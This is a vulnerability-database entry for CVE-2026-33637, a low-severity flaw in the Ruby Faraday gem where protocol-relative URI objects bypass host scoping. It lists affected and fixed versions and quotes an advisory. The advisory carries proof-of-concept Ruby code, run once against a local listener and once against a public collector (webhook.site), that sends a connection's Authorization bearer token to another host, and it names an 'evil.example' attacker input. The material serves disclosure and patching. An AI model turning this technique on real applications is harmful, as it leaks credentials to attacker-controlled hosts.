Answer in brief
CVE-2026-33637 records a Low severity vulnerability in Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping. The current sources do not mark it as known exploited. The current feed maps faraday (rubygems), faraday (rubygems). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps faraday (rubygems), faraday (rubygems). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| faradayrubygems | >=2.0.0,<=2.14.1 | 2.14.2 |
| faradayrubygems | >=2.0.0 <2.14.2 | 2.14.2 |
Published upstream
May 18, 2026
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Jun 11, 2026
## Summary `Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`. ## Affected Component - **Repository File(s)/Endpoint(s)**: - `lib/faraday/connection.rb` - `lib/faraday/request.rb` - `spec/faraday/connection_spec.rb` - `spec/faraday/request_spec.rb` - **Function(s)**: - `Faraday::Connection#build_exclusive_url` - `Faraday::Connection#run_request` - `Faraday::Request#url` - `Faraday::Request#to_env` - **Version(s) Tested**: - `Faraday 2.14.1` - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca` ## Attacker Profile - **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection - **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)` - **Capability**: Control over a protocol-relative URI such as `URI("//evil.example/pwn")` ## Steps to Reproduce 1. Use the current repository checkout and load Faraday from `lib/`. 2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`. 3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host. 4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request. ### Verification Evidence - **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca` - **Commands executed**: ```bash $ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start' $ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body' ``` - **PoC code** (inline): ```ruby require "faraday" require "faraday/net_http" conn = Faraday.new(url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" }) { |f| f.adapter :net_http } target = ["//127.0.0.1:4567", "/pwn"].join resp = conn.get(URI(target)) puts resp.status puts resp.body ``` - **Exit code**: `0` - **stdout** (relevant excerpt): ```text 200 host=127.0.0.1 auth=Bearer secret-token path=/pwn ``` - **stderr** (relevant excerpt): ```text N/A ``` - **Artifacts**: none ### Additional External Confirmation The issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter: ```ruby require "faraday" require "faraday/net_http" conn = Faraday.new( url: "http://trusted.example/base", headers: { "Authorization" => "Bearer secret-token" } ) { |f| f.adapter :net_http } target = ["//webhook.site", "/<collector-id>"].join resp = conn.get(URI(target)) resp.status # => 200 resp.url.host # => "webhook.site" ``` This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage. ## Supporting Materials - Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2` - Existing CVE for the original string-based issue: `CVE-2026-25765` - Existing regression tests for the string-only fix: - `spec/faraday/connection_spec.rb:314-345` - Existing test proving supported `URI` request input: - `spec/faraday/request_spec.rb:26-31` ## Impact The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
Quoted source text, attributed separately from HOL analysis.